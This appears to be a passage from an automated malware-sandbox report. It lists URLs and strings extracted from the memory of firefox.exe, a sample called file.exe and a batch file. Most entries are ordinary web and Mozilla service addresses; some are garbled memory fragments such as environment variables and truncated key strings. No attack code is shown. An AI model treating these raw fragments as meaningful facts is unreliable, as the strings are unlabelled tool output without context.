Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000021.00000003.3416346439.00000169CAC5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000021.00000003.3348526252.00000169CD866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3397835645.00000169CD87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3123001471.00000169C9ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000021.00000003.3414526277.00000169CACBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 00000021.00000003.3366955448.00000169CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000021.00000003.3381962602.00000169CCDA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3157569738.00000169CCD94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3254249599.00000169CCD94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000021.00000003.3332342945.00000169D9978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3234415020.00000169D9978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3068413093.00000169D9977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000003.3115451545.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3139946227.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000021.00000003.3115451545.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3139946227.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9D97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=default-theme%40mozilla.org%2Caddons-
Source: firefox.exe, 00000021.00000003.3068413093.00000169D9977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000003.3068413093.00000169D9977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3402637231.00000169D9740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3146184459.00000169D9741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3239166770.00000169D9741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/
Source: firefox.exe, 00000021.00000003.3220435804.00000169D9FBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000021.00000003.3377996257.00000169D96CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3325995840.00000169CC22F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3323203512.00000169D3478000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3360156556.00000169CC230000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3166300363.00000169CC230000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3260285389.00000169CC22F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3389754862.00000169CAFCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3392336336.00000169CAEC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3234415020.00000169D9978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3068413093.00000169D9977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 00000021.00000003.3112992386.00000169CBEA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3057136407.00000169CBEA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415127213.00000169CBEBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000021.00000003.3325262935.00000169D16A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000021.00000003.3414526277.00000169CACDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com/
Source: firefox.exe, 00000021.00000003.3386641479.00000169CBCD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: chromecache_259.35.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000021.00000003.3335063517.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3117298349.00000169D977A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3377874942.00000169D9792000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3097688805.00000169D9FE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000021.00000003.3396520559.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3344209400.00000169CE4BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245256810.00000169D34CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341178431.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3322568003.00000169D34CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000021.00000003.3097500857.00000169D9821000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000021.00000003.3323676987.00000169D3446000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236274677.00000169D994F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3095754802.00000169D98FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000021.00000003.3374410709.00000169D9DA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000021.00000003.3031385964.00000169D9F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000021.00000003.2928245347.00000169C974A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2921875534.00000169C9707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000021.00000003.3236635003.00000169D97B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000021.00000003.3370039347.00000169CBD06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3385355519.00000169CBD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000021.00000003.3234415020.00000169D9971000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3412223817.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3335596207.00000169D39CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3068413093.00000169D9971000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3239953611.00000169D3982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000021.00000003.3325995840.00000169CC2C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000021.00000003.3414526277.00000169CACDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 00000021.00000003.3228316187.00000169CBEDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3304973847.00000169CC1E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3197600394.00000169CBEDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3305729719.00000169CAD1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3263880810.00000169CA0FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000021.00000003.3258417572.00000169CC37D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3352717738.00000169CC37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: firefox.exe, 00000021.00000003.3414526277.00000169CACDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000021.00000003.3386641479.00000169CBCD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 00000021.00000003.3246647026.00000169D1B76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3411645544.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000021.00000003.3336782696.00000169D38FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3324674203.00000169D16D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000021.00000003.3239953611.00000169D3982000.00000004.00000800.00020000.00000000.sdmp, 5177.bat.23.dr	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001F.00000002.2901568725.000002196FBF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001C.00000003.2821879892.0000029FD2C6E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823432869.0000029FD2C81000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823704652.0000029FD3060000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2821980090.0000029FD2C80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounts
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account~H
Source: firefox.exe, 00000021.00000003.3385355519.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3411645544.00000169CBD3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comtype
